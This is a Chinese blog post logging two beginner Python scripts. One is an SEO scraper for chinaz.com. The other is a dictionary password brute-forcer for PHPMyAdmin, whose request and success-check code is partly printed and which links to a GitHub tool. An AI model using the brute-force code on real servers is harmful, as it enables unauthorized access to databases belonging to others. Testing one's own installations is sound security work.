美文网首页Python新世界
Python爬虫加爆破脚本!会出现什么样的情况?砰,火花四溅!

Python爬虫加爆破脚本!会出现什么样的情况?砰,火花四溅!

作者: 919b0c54458f | 来源:发表于2018-11-17 13:46 被阅读5次

    Python学习记录脚本,想通过练习编写脚本一点点提升自己很菜的编程水平~~明天会更好,希望自己越来越强吧。

    批量检测域名SEO相关信息

    项目地址

    GitHub - sqlsec/seo: Python实现批量查询网站的百度权重以及收录情况。

    实现原理

    Python3 实现批量查询网站的百度权重以及收录情况,利用的是站长之家的SEO查询接口,所以本脚本相当于是一个爬虫,用来批量提取数据信息。

    进群:548377875   即可获取数十套PDF以及大量的学习资料!

    模块相关

    argparse

    argparse 轻松编写用户友好的命令行界面。定义并解析了需要的参数。当用户给程序提供无效参数时,该模块还会自动生成帮助和使用消息并发出错误。

    效果演示

    progressbar

    一个方便友好的进度条显示模块。

    效果演示

    prettytable

    一个表格输出美化模块,展示结果很友好。

    效果演示

    相关代码解析

    request请求代码

    f = open(args.read,"r")

    lines = ''.join(f.readlines()).split("")

    tb = pt.PrettyTable(["域名","百度权重","百度收录","站点标题","域名年龄"])

    p = progressbar.ProgressBar()

    for domain in p(lines):

    url = 'http://seo.chinaz.com/{domain}'.format(domain=domain)

    headers = {

    'Host': 'seo.chinaz.com',

    'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',

    'Content-Type': 'application/x-www-form-urlencoded',

    }

    data = 'm=&host={domain}'.format(domain=domain)

    try:

    response = requests.post(url=url,headers=headers,data=data,timeout=10)

    html = response.text

    正则相关

    # 百度权重正则

    baidu_pattern = re.compile(r'baiduapp/(.*?).gif')

    baidu = baidu_pattern.findall(html)[0]

    # 收录数量正则

    count_pattern = re.compile(r'"Ma01LiRow w12-1 ">(.*?)')

    count = count_pattern.findall(html)[4]

    # 站点标题正则

    domain_name = re.compile(r'class="ball">(.*?)')

    name = domain_name.findall(html)[0]

    # 域名年龄正则

    domain_year = re.compile(r'wd={domain}" target="_blank">(.*?)'.format(domain=domain))

    year = domain_year.findall(html)[1]

    PHPMyAdmin爆破

    项目地址

    GitHub - sqlsec/CreakPHPMyAdmin: Python实现挂载字典爆破PHPMyAdmin,虽然目前速度不是很快,但还是可以使用的。

    实现原理

    从字典文件里面读取每行的密码信息带入 requests 请求中实现密码爆破的效果。 本脚本测试 PHPMyAdmin 版本是 PHPStudy 自带的版本。

    模块相关

    colorama

    colorama 是一个 python 专门用来在控制台、命令行输出彩色文字的模块,可以跨平台使用。

    效果演示

    optparse

    一个已经被 argparse 替代的命令行参数编写模块,建议搭建转到 argparse ,这个模块不建议学习使用了,我当初因为不知道 argparse 的存在才用了这个模块的。

    相关代码解析

    request请求代码

    def req(url,username,password):

    headers = {

    'Content-Type':'application/x-www-form-urlencoded',

    'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',

    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',

    }

    payload = {

    'pma_username':'{}'.format(username),

    'pma_password':'{}'.format(password),

    'server':'1',

    }

    res = requests.post(url,data=payload,headers=headers)

    return res

    正则相关

    正则匹配输入密码后的页面返回结果来判断是否爆破成功。

    try:

    res = req(args.url,args.username,password)

    login_success = re.compile(r'opendb_url')

    success = login_success.search(res.text)

    if success:

    flag = True

    print(Fore.GREEN + "[+] PHPMyAdmin is vulerable")

    print("Phpmyadin password is " + password)

    break

    except Exception as e:

    print(Fore.YELLOW + '执行异常{}'.format(e))

    相关文章

      网友评论

        本文标题:Python爬虫加爆破脚本!会出现什么样的情况?砰,火花四溅!

        本文链接:https://www.haomeiwen.com/subject/togbfqtx.html